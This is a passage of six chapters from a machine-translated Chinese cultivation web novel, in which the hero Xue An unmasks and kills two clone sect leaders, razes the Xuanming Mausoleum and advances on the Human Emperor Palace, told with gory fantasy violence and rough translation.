    At this moment, only Xue An said in an indifferent tone: "Go! He is yours!"


    With an order, these zombies immediately turned into dazzling lights, and rushed towards Dou Yinan.


    Bang bang bang!


    But in the blink of an eye, these dozen zombies fought against Dou Yinan.


    The speed is so fast that there is no time to blink at all.


    Dou Yin''an is really strong, even if he is besieged by more than a dozen zombies, he is still as stable as a mountain, and at the same time he can fight back.


    But what is helpless is that no matter what kind of attack, after blasting the armor on these zombies, they will be removed ingeniously and eventually return without success.


    Dou Yinan couldn''t help but growl with anger, "What the **** is this ghost armor? Why is it so strong?"


    In fact, until now, Dou Yinan''s heart is already full of vigilance.


    Because he didn''t understand where the "master of the sword palace" got these weird magic weapons.


    The first is the space in which I inhale myself.


    You must know that with Dou Yin''an''s immortal emperor''s might, ordinary space can''t bear it, and it may burst open with a light drink.


    But this space is so stable, that they and Li Xuanyi both make their best effort This space is as stable as Mount Tai, without the slightest tremor.


    This is shocking enough.


    You must know that even this Xuanming Mausoleum where Dou Yinan usually lives, the space has gone through thousands of years of training, it is impossible to reach this level.


    This level of stability even reminded Dou Yinan of the underground palace he controlled.


    Because they are not like things from the heavens, but rather a bit of things outside the heavens.


    The second is the armor on these zombies.


    Because even if Dou Yin made a safe move, he still couldn''t help these armors.


    This is incredible.


    Because he is a dignified immortal emperor, but he can''t break even an armor. What is the reason?


    But at this moment, a scene that made him even more chilled happened.


    Xue An appeared in front of Li Xuanyi like a ghost, and then raised his hand with a punch.

 Chapter 2073： Unravel the mystery

    Li Xuanyi didn''t expect that Xue An would come so fast, and was caught off guard, so he could only bite the bullet and punch Xue An.


    Boom!


    A dull loud noise was accompanied by several crisp fractures, and then Li Xuanyi was seen flying upside down. After standing, the bones under the elbows had been crushed by Qi Qizhen.


    Li Xuanyi showed pain on his face, and then looked at Xue An with shock.


    "You... aren''t you Jian Xiu? How can the boxing skills be so powerful?"


    "Who told you that I just repaired the sword?" Xue An smiled faintly, and then a cold light suddenly appeared in his eyes.


    "The punch just now was just for fun, now... take my punch again!"


    With that, Xue An disappeared in place again.


    Li Xuanyi felt her hair stand up instantly, and her muscles were tight together. At the same time, her vigilance had been raised to the highest level.


    But everything is in vain.


    Without Li Xuanyi noticing it, Xue An''s figure slowly emerged behind him, and then blew lightly at the back of his neck.


    Li Xuanyi was shocked, but it was too late to turn around, so he could only throw his fist backwards.


    But Xue An seemed to have foreseen his punch in advance, flashed aside, and avoided the punch.


    Immediately afterwards, Xue An''s palm slowly moved forward and patted Li Xuanyi''s back.


    Huh boom boom.


    With a burst of crisp sound like firecrackers, Li Xuanyi''s shoulder blades, ribs and even spine were all crushed by Xue An''s palm at the same moment.


    The majestic force directly shook it out, and at the same time made four or five turns in the air before barely landing.


    At this time, Dou Yinan, who had been watching the situation peekingly, couldn''t help being dumbfounded.


    He originally thought that Li Xuanyi would be able to support him for a while even if he was not Xue An''s opponent.


    But who would have thought that Li Xuanyi would be beaten to vomit blood after only such a short time?


    Under the great shock of his mind, his reaction was a little slow, and he was caught by a zombie and hit his left shoulder with a punch.


    Dou Yinan was blasted back a few steps, his face also showed pain, but soon, as if he was thinking of something, he hissed sharply.


    "No, you are not Li Jingxing, that guy is a pure sword lunatic, and he will never hurt people with his fist, so who are you?"


    The voice echoed in this arsenal, and Xue An smiled faintly.


    "When did I say that I was Li Jingxing? The whole process was your own speculation. As for who I am..."


    The brilliance flashed in Xue An''s eyes, and all the disguise disappeared instantly, revealing the true colors.


    After seeing a young man in white fluttering in front of him, no matter it was Dou Yinan or Li Xuanyi, his pupils shrank instantly.


    Because they have already recognized the person.


    "It''s you! It turns out that you made the ghost, no wonder you can lead people to escape from the underground palace!" Dou Yinan roared with a bitter face.


    Li Xuanyi had a solemn expression, and then unnoticedly stepped back for a while, at the same time a little brilliance appeared under his feet, actually trying to break through the space and escape from this world.


    But at this time Xue An''s voice has also been heard, "Don''t waste your efforts, as long as you enter this arsenal, you can''t get out unless I allow it!"


    really.


    Li Xuanyi reluctantly discovered that all his temptations were like mud cows entering the sea, and there was no response at all.


    At this time, his face changed, and then he said coldly: "Red Lotus Immortal Venerable, are you acting so arrogantly, do you have to fight against my imperial palace?"


    "Act arrogantly?" Xue An simply laughed blankly, and then said playfully: "Did you not go through your brain before you said this?"


    "From the beginning to the end, you super sects have repeatedly provoked. I was just a reasonable counterattack, but when it came to your mouth, it became arrogant?"


    "According to what you said, shouldn''t I just catch it with my hands, so that it fits your mind?"


    Xue An talked freely, with a relaxed expression.


    But the more he was like this, the more ugly the expressions of Dou Yinan and Li Xuanyi.


    Because this can only prove one thing.


    That is, Xue An is already confident, otherwise he would not be so talkative.


    "Surnamed Xue, you first came here pretending to be Mu Hongxi and deliberately entered the underground palace. What you did was to close the gap in the underground palace!" Dou Yinan gritted his teeth.


    Xue An nodded, "You guessed it!"


    "Hehe." Dou Yinan sneered suddenly, "The surname is Xue, I know what you think, do you want to plug all the gaps and save the entire world from fire and water?"


    Xue An tilted his head and said with a smile, "So what?"


    Dou Yinan sneered when he heard the words, and then said in a gloomy tone: "What is the Red Lotus Immortal Venerable who has a heart to the heavens, but do you think you can really turn the tide on your own? "


    "To tell you the truth, that day, the foreign industry has assembled a large army, and soon will attack the heavens. Anyone who dares to stop them will be crushed into powder. Don''t think you will be an exception, because those are the existence you can''t imagine. At that time, you will have to die too!"


    Dou Yinan''s words were full of madness and spite.


    But Xue An only chuckled when he heard this, "It sounds terrific, but I have a problem. The more impossible things are, the more I have to do them. After all... if you don��t try many things, How can I know if it will succeed?"


    "Kill him!" Dou Yinan suddenly shouted, and then Li Xuanyi and him went one after another, forming a pincer attack on Xue An.


    The reason why Dou Yinan spoke just now was also purposeful, to delay the time, so that the seriously injured Li Xuanyi could recover as much as possible, and then jointly attacked Xue An.


    This plan can be regarded as half a success, at least when the two of them rushed to Xue An one after another and punched together, Dou Yinan thought so.


    But in the next moment, all of these plans fell to nothing.


    Because at this moment, Xue An said softly: "Town!"


    In a word, the arsenal was shaken.


    Immediately after that, an extremely majestic force suddenly fell on Dou Yinan and Li Xuanyi.


    The two were immediately unable to move by the huge force and at the same time, Xue An snapped his fingers lightly.


    "seal!"


    Chains emerged out of thin air, directly binding Dou Yinan and Li Xuanyi, and locked them firmly.


    But in a blink of an eye, the two became the things in Xue An''s palm, and they were no longer able to fight back.


    What is strange is that Xue An was not in a hurry to kill them, but walked closer to the two.


    Dou Yinan and Li Xuanyi''s eyes were full of anger at this time.


    Especially Dou Yinan, seemingly fearless, has been staring at Xue An coldly.


    Upon seeing this, Xue An couldn''t help but smile, and then whispered: "Actually, I already knew it."


    "Know what?" Dou Yinan sneered.


    "Knowing that you and him standing in front of me are just a clone, right?"

 Chapter 2074： Ants in small puddles

    This statement came out.


    Dou Yin''an and Li Xuanyi were all disillusioned, and at the same time, for the first time, a look of horror appeared in their eyes.


    Because what Xue An said was the deepest secret in their hearts.


    "You...you..." Dou Yinan''s lips trembled slightly.


    "How did I know?" Xue An smiled lightly. "Actually, your disguise is really good, and even when I first saw Dou Yinan, I didn''t notice it."


    "But I suddenly wanted to understand later!"


    "What do you want to understand?"


    "It''s very simple. Dou Yin''an is the powerhouse of the immortal emperor''s peak. This kind of strength can be said to be the top existence of the heavens, and such an existence, after encountering an opponent like Li Jingxing, is the most correct way to do it? Didn''t you just kill it directly?"


    "So when you put me in the underground palace and tried to obliterate me with the power in it, it proved that you have no faith in your own strength at all. Am I right?"


    Dou Yinan''s complexion became difficult to look, because he never expected that it was his own practice that made Xue An see the flaw.


    But soon, he sneered.


    "So what? The surname is Xue, I admit that you are powerful, and your eyes are like torches, but this can''t change the fact that you will lose, so recognize the reality, now the adults who have surrendered to the outside world still have time, [wowo Novel website www.wwdwx.xyz] I believe that with your strength and prestige, you will surely be appreciated by those big people!"


    Xue An only chuckled a few times when he heard the words, but ignored Dou Yinan, and instead turned to look at Li Xuanyi who was aside.


    "Since even you are just a clone, if I''m not wrong, the one sitting on the throne of the Lord of the Human Emperor Palace should also be a clone now!"


    Li Xuanyi''s face was sinking, without saying a word.


    "Silence? Very good, then it seems that I guessed it right. Combining with the previous things, it is possible for existences like you to rush away in your body, only those outside the sky can do it, I said Right?"


    After being silent for a long time, Li Xuanyi slowly raised his head and stared at Xue An coldly, "So what?"


    "Moreover, I can tell you that it won''t help if you kill us now, because when I wait for the army to approach the city, it will be your death date!"


    Seeing the resentment on Li Xuanyi''s face, Xue An couldn''t help but chuckle.


    "Okay, I look forward to that day, but I don''t know, you guys who had been strong in the past have become other people''s lackeys. Is this really good?"


    "Haha! Xue An, you don''t need to use words to humiliate me. To tell you the truth, those big people are high-level beings that you can''t imagine. Compared with them, these little heavens are just a puddle, and you are It''s the stronger ant in this puddle. It''s not worth mentioning!"


    When he said this, Li Xuanyi looked enthusiastic.


    This actually triggered Li Xuanyi''s obsession that remained in this body before his body left.


    If there is nothing wrong in normal times, then Li Xuanyi will not remember that he is a clone, and he will be normal and harmless in dealing with people.


    Only when you encounter something like this kind of defeat or being exposed in public, will the obsessions left behind be triggered.


    This is why Li Xuanyi didn''t show any strangeness at all before.


    "The ants in the small puddle..." Xue An repeated it softly, then raised his head and smiled at Li Xuanyi.


    "Your **** metaphor sounds really vivid!"


    Li Xuan''s face was proud, and he just wanted to talk.


    But at this moment, Xue An suddenly leaned forward to Li Xuanyi''s, and said indifferently: "I know your body can hear it now, so..."


    "The ants in this little puddle of mine are waiting for you big men to invade the heavens, and then see who is the ant!"


    After all, Xue An''s palm pierced directly into Li Xuanyi''s chest and penetrated from behind.


    puff!


    In Xue An''s **** hands was a beating heart.


    Li Xuanyi looked at Xue An with surprise, obviously he didn''t expect that he would kill him directly.


    But soon, his eyes began to dim at a speed visible to the naked eye.


    at the same time.


    Xue An''s palm suddenly shook.


    Bang.


    After a muffled sound, the heart was squeezed into flesh.


    This clone of Li Xuanyi also died.


    Xue An slowly pulled his hand back, and the red flame flashed on it, evaporating all the blood stains.


    Then Xue An turned his head to look at this Dou Yinan.


    Oh, it should be Dou Yinan''s clone to be exact.


    Although the trigger conditions were also set in Divine Mind, after all, Dou Yinan''s strength was far better than Li Xuanyi.


    In fact, if Xue An doesn''t expose it, this clone can even cultivate slowly until the moment the body returns.


    So the reaction of this clone is more real.


    "Xue...Xue An, can we discuss it?"


    "Oh, what to discuss?" Xue An said lightly, and at the same time gently wiped off a drop of blood splashing on his face with his hand.


    "I can cooperate with you in anything, and even give you this Xuanming Mausoleum, as long as you can let me go, how about?" Dou Yinan looked at Xue An eagerly.


    The corners of Xue An''s mouth gradually raised, "Let you go? Shall you go to rendezvous with the body outside the sky?"


    "Xue An, aren''t you afraid that I will wait? Then why are you struggling with this?"


    "It''s one thing to be afraid, but it''s the same thing to let you go. How can these two things be confused? What''s more... what I want is not just your life!"


    "Then what do you want..."


    The words didn''t finish, but seeing the brilliance in Xue An''s eyes burst, the turbulent spirit pierced Dou Yinan''s sea of ??consciousness like a ruin.


    In terms of the power of divine consciousness, no one in the heavens can compare Xue An.


    Not to mention that Dou Yinan is just a clone ~ www.novelhall.com~ So in a moment, Dou Yinan''s sea of ??knowledge was completely occupied by Xue An.


    Immediately afterwards, the brilliance of Xue An''s eyes flickered, and Dou Yinan''s face showed an expression of extreme pain.


    at last.


    After a miserable howl, Dou Yin''an''s head burst open, and his brain boiled due to the high temperature scattered all over the floor.


    Xue An slowly opened his eyes, and a dignified look appeared in his eyes.


    Because he found that the matter was far more serious than he thought.


    Not only the Palace of Human Emperor and Xuan Ming Mausoleum, but also the top sects such as Jingyue Si and Qing Hailou, almost all the powerhouses above the Immortal King have fled beyond the heavens.


    It can be said that the heavens nowadays have been hollowed out, leaving only an empty shell.


    But soon, Xue An sneered, "Well, anyway, it''s a group of spineless surrenderers, who fled out and thought about it, and then cleaned the door!"

 Chapter 2075： Fear? now its right!

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    now.


    In the banquet hall of this Xuanming Tomb, the atmosphere gradually became tense.


    Although no one dared to speak under the strong pressure of Jian Zaixin and Jiu Jianxian and others, many people were secretly communicating with their eyes.


    There is no other reason, because Xue An, Dou Yinan and others have disappeared for a long time, and there is no news in the whole process.


    This strange silence naturally caused many people to change their colors, and the atmosphere became more solemn.


    Jian Zaixin and others naturally felt the strange atmosphere, but their hearts were equally anxious at this moment.


    After all, Xue An just disappeared with Dou Yinan, the top Immortal Emperor, and Li Xuanyi, the super powerhouse.


    Although Xue An is strong and tyrannical, facing two superpowers at the same time, it is still a sweat.


    At least this Ye Kongming''s heart was overwhelming, and finally couldn''t help but ask in a low voice.


    "Grandpa, you said your lord...can win this time?"


    Ye Bufan turned his head and glanced at his grandson, then chuckled lightly, "What? Afraid?"


    Ye Kongming immediately shook his head like a rattle, "Of course it''s not afraid, I''m just a little worried..."


    "Haha!" Ye Bufan chuckled, and immediately raised his head to look at the place where Xue An had disappeared before, and then said lightly: "Don''t worry, the adults will definitely win, because...he is the unique Red Lotus Immortal Venerable!"


    When he said this, an almost fanatical light appeared in Ye Bufan''s eyes.


    Ye Kongming didn''t dare to ask, he just followed Grandpa''s gaze, and his eyes were brilliant and he didn''t know what he was thinking.


    The conversation between their grandparents and grandchildren is very secret, so outsiders naturally don''t know.


    But among the crowd, there was another person looking at the sky above the banquet hall with a sneer.


    This Xuanmingling''s second **** general, Blood End, should be regarded as the strongest person in the entire banquet hall today except for sword repair.


    But he didn''t even have the slightest resistance and he was caught.


    The reason is because he believes that his dead opponent "Ling Weep" is definitely mortal.


    That''s right!


    Until now, this Blood Ya still thought Xue Annai was crying.


    So Xue An''s actions fell into the eyes of Xueya and turned into a rebellion, attempting to overthrow Xuan Ming Tomb and thus taking power.


    In fact, this is not surprising.


    Because in many super sects, things like this kind of tumbling on each other are not uncommon.


    After all, although spiritual practice is most often judged based on the length of years, there are exceptions sometimes.


    For example, the sudden increase in strength caused by the sudden epiphany and so on.


    This will make people full of confidence, and have a rebellious mind.


    But Xueya didn''t think that "Ling Qi" could deal with the strength of the tomb master and the human emperor''s envoy.


    That''s why he would catch it all, just to watch jokes.


    I haven''t come out at this time, it is estimated that it has been chopped into meat sauce by the mausoleum and the emissary of the emperor!


    What a joke, is it great to dare to fight against Lord Ling, really thinking that you are the first god?


    Xue Ya thought secretly in his heart, and the expression on his face became more arrogant.


    But at this moment, as if to respond to his thoughts, ripples suddenly appeared over the banquet hall.


    Immediately afterwards, I saw Guanghua beginning to shine, and then I saw a faint figure passing through it, appearing in front of everyone.


    There was a commotion in the audience, and everyone opened their eyes and looked up.


    This Bloody End is no exception.


    He looked up and looked up with a smirking smile on his face.


    But then, the smile on his face solidified.


    Because when the brilliance dissipated, the person who appeared in front of everyone was a young man in white.


    This young man stood proudly, with picturesque brows and eyes. Although his face was expressionless, he possessed all kinds of prestige in front and behind him.


    This time, Xue Ya was completely dumbfounded.


    How is this going?


    Didn''t "Ling Weeping" and the tomb master and the emissary of the emperor disappear together?


    Who is this boy now?


    Does the mausoleum still have the emperor''s envoy?


    A series of question marks occupied the mind of Xueya.


    Not only him, almost all the disciples of Xuan Ming Ling and the envoys sent by the Imperial Palace were dumbfounded.


    Only after Jian Zaixin waited for Jian Xiu for a moment, he cheered for it.


    "Welcome to the Immortal!" Jiujianxian Linghu absolutely stepped forward, clasping his fists and arching his hands with excitement, and said first.


    When the others saw this, they also stepped forward, following Linghujue, clasping fists and arching hands, and shouted in unison: "I have seen Immortal Venerable!"


    The sound shook the roof tiles, and also shocked the people in the entire banquet hall.


    What are these people shouting?


    Xianzun?


    Where''s Xianzun?


    But at this moment, an elder Xuan Ming suddenly understood something, his face turned pale as snow, and then his whole person trembled.


    "you you����."


    After you have spent a long time, this elder has not been able to say a complete sentence, it is because his teeth trembled due to excessive panic.


    At the same time, someone nearby recognized Xue An, and then shouted in a nearly desperate voice.


    "Red Lotus Immortal Venerable, he is Red Lotus Immortal Venerable Xue An!"


    boom!


    This sentence is really like a heavy nuclear bomb ~ www.novelhall.com~ The entire banquet hall bombed was shocked.


    At the same time, I saw Xue An lowered his head and looked down at the masses of beings at his feet, and smiled faintly, "Yes, I am Xue An. At the same time, I want to tell you one thing, that is, your mausoleum and envoys are all dead. !"


    There was deathly silence.


    No one dared to speak.


    No one dared to have the slightest doubt.


    Because the name Xue An itself represents a lot.


    After all, this is the most amazing existence in the entire heavens in the past thousand years.


    Especially this strong return, the whole heavens that have been disturbed are turbulent for it.


    And if he is here, then everything can be explained.


    After all, Xuan Ming Ling and Xue An are rivals.


    Xue An had killed Xiao Tiansha, the descendant cultivated by Xuan Ming Ling before, and this hatred had already made Dou Yinan hate him.


    But the only thing people didn''t expect was that this Red Lotus Immortal Venerable would be so tyrannical, and he dared to deal with the Lord Xuanming Ling and the emissary of the Emperor at the same time, the key is... he eventually won.


    Under the horror of the audience, the **** horizon hiding behind the crowd, the whole body was trembling slightly, and his face was as white as a piece of paper.


    If possible, he really wanted to slap himself severely.


    Why are you so stupid?


    He didn''t even see the disguise of the Red Lotus Immortal Venerable, but stupidly thought he was his own enemy "Ling Weeping", and deliberately left to read a joke.


    It''s all right now. Not only is it not a joke, but it is estimated that I have to take my own life.


    Just when the **** end regretted it, but saw Xue An smile slightly.


    "Fear? That''s right! Because the next thing is what scares you most!"

 Chapter 2076： Life and death in the palm of your hand

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    The words fell, but seeing Xue An stepped on it, the sword of seeking evil burst out and appeared in front of everyone.


    When countless white sword beams turned into turbulent waters and rushed toward everyone in the banquet hall, Xue An did not see the final result at all, but turned around and flew out.


    When Jane saw this in her heart, she was about to step forward and follow, when Xue An''s voice came from afar.


    "Don''t come over, just wait here, I''ll be back soon."


    Jane had no choice but to stop, and at the same time a hint of doubt appeared on her face, what did you do?


    At the same time, the screams in the banquet hall were ringing one after another, forming a symphony called death.


    Although this **** end tried his best to avoid, under this evil-seeking sword, there was no way to hide any evil.


    So just in the blink of an eye, these sword lights surrounded like tarsal maggots.


    "Ah ah ah ah ah!"


    This Blood Ya was extremely frightened, screamed hysterically, and at the same time struggled to resist.


    I have to say that this Blood End is worthy of Xuan Ming Ling''s second **** general, and its strength cannot be underestimated.


    It was especially related to his own life and death, so this Blood Ya almost madly poured out all his tricks at the bottom of the box, and at the same time, he retreated sharply, trying to break out of the banquet hall and escape.


    In his opinion, all of this is still very possible.


    After all, no matter how good Xue An is, it is also the best of others. Now that everyone else has left, there is only one sword intent left. He is struggling desperately. Is it possible that he can''t beat a single sword intent?


    With this thought in mind, Xue Ya really rushed to the wall of the banquet hall, seeing that he was about to break through the wall in the next second, and even an excited smile appeared on Xue Ya''s face.


    Suddenly!


    But seeing a sword light passing by, the speed is so fast that even this blood has no time to react.


    puff!


    After a muffled sound, a huge wound was cut open in the throat of Xueya.


    The blood mixed with the residual gas in the trachea spouted out, and a coquettish picture was splashed on the white wall.


    Even so, this bloodya is still alive.


    I saw him firmly covering the wound in his throat with both hands and rushing forward desperately.


    In his opinion, as long as he broke through this wall, he would have escaped.


    But the fragile walls in the past are like copper walls and iron walls at this moment, making them insurmountable at all.


    Xueya''s eyes were about to split, his muscles trembled, and he wanted to break the wall.


    But then, his whole person was completely relaxed.


    Because another evil-seeking sword flew across the sky, penetrated directly from behind, rushed out from the chest, and at the same time brought out a blood line mixed with organ fragments.


    If you look closely, you can still see pink marrow mixed in the blood.


    That was the performance of Xueya''s spine being severed.


    Even with the bravery of Xueya, when the spine shattered, it was still limp to the ground like a puddle of mud.


    The disorder of his nerves made him stare blankly at the ceiling of the banquet hall, and a pool of blood poured out from his throat.


    quickly.


    Xue Ya''s eyes quickly dimmed, and finally turned into two pieces of ground glass, muddy, and died.


    His death also announced the end of the battle in the banquet hall.


    The sword of seeking evil receded like a tide.


    At this moment, no matter if it is Xuanming Tomb or Human Emperor Hall, almost no one survived.


    There are many dead bodies lying on the ground, and everyone''s face is solidified with the fear before death.


    There was blood flowing on the ground, and the strong smell of blood even made people breathless.


    The night sky is silly.


    Ye Bufan couldn''t help but smile when he saw it, and then sighed softly: "Grandson, now you know why I say that an adult will definitely win! Because you don''t understand what is true power!"


    Speaking of this, Ye Bufan looked in the direction of Xue An''s disappearance with a face of reverence, "The palm lives and kills, he asserts life and death, but never bullies the weak, uses the power to overwhelm others. This is the real power!"


    Ye Kongming''s face also showed awe-inspiring and respectful expression, and said in a low voice, "Yes, I understand!"


    And when the killing in the banquet hall ended, Xue Anye had already appeared in front of the underground palace of Xuanming Tomb.


    At this moment, the underground palace is empty before.


    The people who were in charge of guarding here are all dead.


    Xue An stood in front of the underground palace and watched quietly, his eyes flickering.


    After a long time, Xue An said lightly: "Similar structure, similar space, I am really curious, what is the relationship between you and this arsenal?"


    As he said, Xue An raised his hand, and the wind and thunder were faint in his palm, and a quaint building was suspended above it.


    It is the arsenal.


    Xue An had opened the arsenal on the earth and distributed the armors of soldiers to help everyone in the trial, but when he left, Xue An only left a clone of the arsenal to maintain the trial of the arsenal.


    As for the body, Xue An brought it with him.


    Unexpectedly, it came in handy in this battle against Dou Yinan and Li Xuanyi.


    But this is not the most important thing. The most important thing is that Xue An smelled a smell similar to the arsenal from the underground palace of the Xuanming Mausoleum.


    That''s why he rushed over immediately after eliminating Dou Yinan.


    However, Xue An was not eager to confirm the guess in his heart, he opened his palm to the Buddha Kingdom.


    The dozen or so zombies flew out of it, UU reading www. Uukanshu.com stood in a row in front of Xue An, then bowed and saluted.


    Although unable to speak, the respect and gratitude in his eyes is enough to make people feel.


    Of course they must be grateful to Xue An, because Xue An helped them break the shackles, otherwise they would be slaves forever.


    Feeling the feelings of these zombies, Xue An smiled faintly.


    "You don''t have to be so polite. I ask you now, do you want to go back to the tomb to sleep? Or do you continue to maintain this state and fight for the heavens of the future?"


    These zombies looked at each other after hearing this, and then nodded at Xue An.


    Xue An laughed.


    "Okay, it really deserves to be the top powerhouse who was the best at the time. Even if he dies, his strength is still there."


    Without exception, these zombies all choose to fight for the heavens.


    Especially the zombie that I had communicated with Xue An before, said very calmly and divinely.


    We are people who have died once. We just didn''t want to bear the shackles and become slaves to people. Now that the shackles have been released, then the heavens are robbed, and we are naturally not afraid to die again.


    Xue An restrained his laughter, his expression solemn, "If that''s the case, then you should step back and wait for me to pull out the underground palace!"


    The zombies stepped back, and then they saw Xue An step forward, stretched out his hands, hugged the sky, and shook suddenly.


    Bang bang bang!


    Along with the loud noise of the shaking mountains, I saw the underground palace of the Xuanming Mausoleum rise little by little, and it was actually pulled out by Xue An from the ground.


    The zombies are also shocked.


    But this was just the beginning, but seeing Xue An who lifted the earth palace in the air with the overlord''s tripod, suddenly shouted.


    "open!"


    boom!


    The brilliance above the underground palace exploded, and then it shrank quickly.

 Chapter 2077： Kill to the palace

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    In the blink of an eye, the underground palace shrank to the size of a palm, and then went straight to the arsenal suspended in front of Xue An.


    boom!


    The two radiances collided fiercely, arousing thousands of rays of light, making these zombies retreat.


    And then, when these rays of light converged slightly, a spectacle appeared in front of everyone.


    But seeing that the dungeon, which had been reduced to the size of a palm, turned around the arsenal a few times, it suddenly flowed like water, separated strands of silk threads, and quickly penetrated into the arsenal.


    With the penetration of the underground palace, the brilliance of the arsenal became more and more brilliant, and at the same time, the body began to grow a little bit.


    In the blink of an eye, the size of this arsenal has almost doubled, and the building has become much more desolate and primitive than before.


    This magical scene made the gang of zombies startled.


    Xue An quietly looked at the arsenal in front of him, and then the brilliance flashed in his eyes, and his spirit sank into it.


    At this moment, the internal structure of this arsenal is slightly different from before.


    First, the area has increased many times, and many unfamiliar spaces and buildings have appeared.


    However, these spaces and buildings are all covered in a layer of gray mist, and they have no response to changes in the outside world. Even Xue An''s spy on them with spiritual thoughts is of no avail.


    Although this underground palace has been integrated with the arsenal, everything that was attached to it before has disappeared at this moment.


    Even the tombs of the past dynasties of Xuanming Mausoleum have disappeared without a trace.


    Apart from this, there are no other changes.


    Xue An remained silent, because he found that even after swallowing the underground palace of the Xuanming Mausoleum, he still failed to reveal the secrets of this arsenal.


    For example, who built it, and what are those buildings shrouded in gray mist?


    These questions lingered in Xue An''s mind, but soon Xue An left them behind for the time being.


    Because in the case of known serious lack of information, all speculations are castles in the air, which can''t stand scrutiny at all.


    So it is better to leave it aside for the time being, and it is not too late to speculate the truth when there is sufficient information.


    This is also Xue An''s consistent style of acting.


    Soon, Xue An withdrew from the arsenal and waved casually.


    The arsenal was re-stocked.


    Then Xue An turned to look at these zombies and smiled slightly.


    "Okay, here''s the matter, then we will kill the puppet sects that have been controlled by the evil creature outside the sky, such as Qinghailou of the Human Emperor Palace!"


    The zombies nodded one after another.


    Xue An rose up into the sky, standing above Xuanming Mausoleum, overlooking the top sect under his feet that had not fallen for thousands of years, but was eventually betrayed by unscrupulous descendants. He said lightly: "All the swords will follow the orders, follow me Come!"


    After all, Xue An flicked his robe and turned into a sword of light, and went straight to the void in the distance.


    Behind him, these zombies followed.


    In the banquet hall, after hearing Xue Anzhi''s order, all sword repairs including Jian Zaixin were shocked. The surging sword intent directly shook this huge banquet hall to powder, and then it skyrocketed. Rise and follow Xue An.


    It wasn''t until their figures had completely disappeared into the vast void that in this trembling Xuanming tomb, there were twos and threes of disciples poking out their heads in horror.


    They were all low-level disciples who were not qualified to enter the banquet hall, and Xue An didn''t bother to pay attention to these people, so they all survived.


    But surviving is surviving, and what just happened has pierced the courage of these people.


    So until everyone disappeared completely, they dared to come out.


    Looking at the banquet hall that had been razed to the ground, the faces of the disciples of these doormen were all blank and horrified.


    Because no matter who it was, he had never imagined that the super sect that had dominated the heavens would be destroyed so easily.


    Easily is like dreaming.


    But the facts before them couldn''t help but they didn''t believe them, so they could only stand in place with a dull expression, and it was not until a long time later that someone whispered in a tone of infinite horror.


    "The heavens... will be completely messed up!"


    quickly.


    The Xuanming Mausoleum was directly leveled by Xue An''s leaders, and the master of the Xuanming Mausoleum Dou Yin''an and the envoy of the imperial palace who happened to meet both fell, and the entire Xuanming Mausoleum was completely destroyed.


    This series of unbelievable news spread quickly at a terrifying speed.


    Wherever he went, it was like a hurricane passing through, making everyone shocked and suspicious.


    Without him.


    The news is really irritating.


    Not to mention the sidelines, it is said that Dou Yin''an, the master of the Xuanming Mausoleum, is not an easy one, and can be ranked in the top three in terms of strength.


    But it was such a top-level existence, but it fell so easily, and at the same time he brought a messenger from the Imperial Palace.


    How this sounds is incredible.


    Even many people''s first feeling after hearing this is that this is a joke.


    But the facts cannot help them not believe it.


    Soon, the current tragedy of Xuan Ming Ling spread throughout the heavens through various methods.


    When seeing the devastated Xuanmingling general altar, and the banquet hall that was razed to the ground, but still can be seen from it, almost everyone in UU reading couldn''t help taking a breath.


    Because if all this is true, it would prove that the strength of this Red Lotus Immortal Venerable has reached an unimaginable height.


    Could it be... he has already regained the position of Immortal Venerable?


    Where did he go now?


    The latter question was quickly answered, because Xue An did not hide his whereabouts when he went to the Palace of the Human Emperor this time, but led the sword repairmen to go straight.


    Wherever he went, no matter how powerful the sect was, Xue An rushed past like no one in a realm.


    At this time, the entire Xinghai was shaken.


    The people surrounding the audience are not fools. From the direction Xue An is heading, and what happened before, it is easy to infer who Xue An��s goal will be.


    People''s Palace!


    Because only Renhuangdian has this qualification.


    In an instant, countless eyes were cast towards Xue An, who was killing him in a straight line towards the Palace of Human Emperor.


    People want to know how this Red Lotus Immortal Venerable who has destroyed a large super sect will deal with the Human Emperor Palace next.


    You know, this man''s palace is a super sect standing at the top of the sea of ??stars. In terms of strength, it is not inferior to Xuan Ming Tomb, or even worse.


    And it will never sit still.


    really.


    When Xue An and the others just rushed halfway, this man''s palace moved after hearing the wind, and the powerful people outside turned back one after another.


    Immediately after that, a thick light curtain appeared above the palace of the human emperor, completely wrapping it.


    It was exactly the scene after the guarding of the mountains was fully opened.


    This time, this peak showdown completely attracted the attention of the entire heavens.


    And that is, under the circumstance that hundreds of millions of people are watching, Xue An led the sword repairs and finally flew to the star field to which the Human Emperor Palace belongs.


    The war began.

 Chapter 2078： The so-called indestructible, it turns out that it is just so...

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Looking at the young man in white who appeared in front of the blue light curtain of the human palace, some people couldn''t help but sigh.


    "It really deserves to be a powerful man. The man who has trampled the entire heavens under his feet is indeed extraordinary. He dares to use this person to attack the well-preserved Palace of Humans."


    At this moment, many sects close to the Palace of Human Emperor have gathered together, and broadcast the distant scene in real time through the technique of water mirror.


    "Haha!" Someone sneered when they heard the words, and then continued: "The courage is extraordinary, but it''s a bit too big!"


    "After all, it can be seen from the news that Xuanmingling was destroyed so quickly because there was no precaution, but after Xue An''s tossing along the road, the current Human Emperor Palace has been completed. With perfect preparations, even if Xue An is more powerful, he can never repeat the success of Xuan Ming Ling!"


    Many people nodded after hearing this.


    "Yes, not to mention anything else, just this Great Red Lotus Formation alone is enough for this Red Lotus Immortal Venerable to drink a pot. It is the handwriting of dozens of top formation masters in the past and has been tempered for thousands of years. , Its power is so powerful that it can even withstand the full attack of the top immortal emperor. I don��t believe that Xue Anneng is so powerful and can easily break through this mountain protection formation!


    Of course, there are also many people who are optimistic about Xue An��s battle, but anyway, after seeing this li-thick blue light curtain, even the most optimistic people can��t help but secretly squeeze Xue An. sweat.


    at the same time.


    Xue An stood in front of the light curtain of the Human Emperor Palace, without saying a word, as if thinking about something.


    Behind him, Jian Xiu was silently watching him.


    It''s just that there is no hesitation in these people''s eyes, only infinite firmness and trust.


    Because for these sword repairers, Xue An now seems to have become their faith.


    No matter what he does, these sword repairers will not have the slightest doubt.


    And when Xue An was standing in front of the light curtain of protecting the mountain and observing inside, the people in the Palace of Human Emperor also looked at him through the light curtain.


    However, at this moment, the people of the Emperor Palace were bathed in a relaxed atmosphere, without the slightest tension that should have been before the war.


    There is no other reason.


    It is because the disciples of these people''s palaces are also full of confidence in this mountain protection formation.


